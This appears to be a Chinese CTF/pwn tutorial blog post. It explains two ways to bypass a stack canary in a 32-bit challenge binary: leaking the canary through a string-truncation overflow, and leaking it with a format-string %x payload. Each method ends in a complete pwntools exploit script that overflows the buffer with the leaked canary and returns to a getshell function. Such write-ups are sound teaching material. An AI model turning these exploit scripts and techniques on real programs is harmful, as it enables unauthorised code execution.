本文最后更新于 2024年10月13日 晚上
Canary 的绕过方法
一、字符串截断获取canary
原理:
- Canary设计其低字节为
\x00
,本意是阻止被read、write等函数直接将Canary读出来。通过栈溢出将低位的\x00
覆写,就可以读出Canary的值。
二话不说,上题
基础检查发现canary
丢入ida中
发现在循环printf,并且存在字符串漏洞(这个稍后再谈)
同时有getshell函数
可以直接拿shell
接下来就是找canary到栈顶的偏移
有两种方法,这里先介绍第一种
看汇编语言
跟进这段函数的汇编
发现 多了一段异或比较
可以判断canary在var_c里,
所以buf 到canary的偏移为0x70-0xc
payload1的构造为
1
| payload1=b'a'*(0x70-0xc)
|
#注意 必须用sendline 发送 用\n来覆盖’\x00’
发送之后接受字符
1 2
| canary=u32(io.recv(4))-0xa
|
最后构造payload2
1
| payload2=b'a'*(0x70-0xc)+p32(canary)+b'a'*0xc+p32(getshell)
|
最终exp为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| from pwn import *
context.binary = '1122'
io = process('./1122')
get_shell = ELF("./1122").sym["getshell"]
io.recvuntil("Hello Hacker!\n")
payload = b"A"*100 io.sendline(payload)
io.recvuntil("A"*100) Canary = u32(io.recv(4))-0xa log.info("Canary:"+hex(Canary))
payload = b"a"*100+p32(Canary)+b"a"*12+p32(get_shell) io.send(payload)
io.recv()
io.interactive()
|
最后强调一下
1 2
| context.binary = '1122'
|
这两行必须要有一个,否则无法运行
最后运行得到shell

编辑**二、字符串漏洞泄露canary**
原理
- 格式化字符串漏洞可以打印出栈中的内容,因此利用此漏洞可以打印出canary的值,从而进行栈溢出
还是上面那道题
这次来介绍一下另一种寻找偏移的办法
用gdb 调试
先用gdb在printf处下断点
找到第一个printf下的栈帧0xffffcf98
从ida上知道程序主要在vuln 函数里面
用gdb 运行文件并在函数下断点运行
发现有一段异或比较,可以判断canary 的值就在eax里面
不断步入到0x8049256
记住eax的值
发现canary存在地址0xc中
可以计算偏移
继续点n
到read 函数运行(这一步很重要,否则偏移不准确)
再次查看栈帧计算此时canary 到esp的偏移量
因为程序是32位
4个字节一组就是31组
所以canary的偏移为31
这部分可参考
https://www.freebuf.com/articles/system/233515.html
https://blog.csdn.net/glhdbk/article/details/100595050
则payload1可构造
1 2 3 4 5 6
| payload_1 = b'%x-' * ( 6 + 25) conn.send(payload_1) recvbytes = conn.recv()
canary = int(recvbytes.split(b'-')[-2], 16)
|
泄露出canary的值
最后进行再一次栈溢出
1
| payload_2 = b'a' * (0x70 - 0xc) + p32(canary) + b'a'*0xc+ p32(getshell)
|
最终exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| from pwn import * context.log_level = 'debug'
conn = process('./1122')
getshell = 0x080491b6 conn.recvuntil('Hello Hacker!\n')
payload_1 = b'%x-' * ( 6 + 25) conn.send(payload_1) recvbytes = conn.recv()
canary = int(recvbytes.split(b'-')[-2], 16) print(f'Canary: {hex(canary)}')
payload_2 = b'a' * (0x70 - 0xc) + p32(canary) + b'a'*0xc+ p32(getshell) conn.send(payload_2) conn.recv() conn.interactive()
|
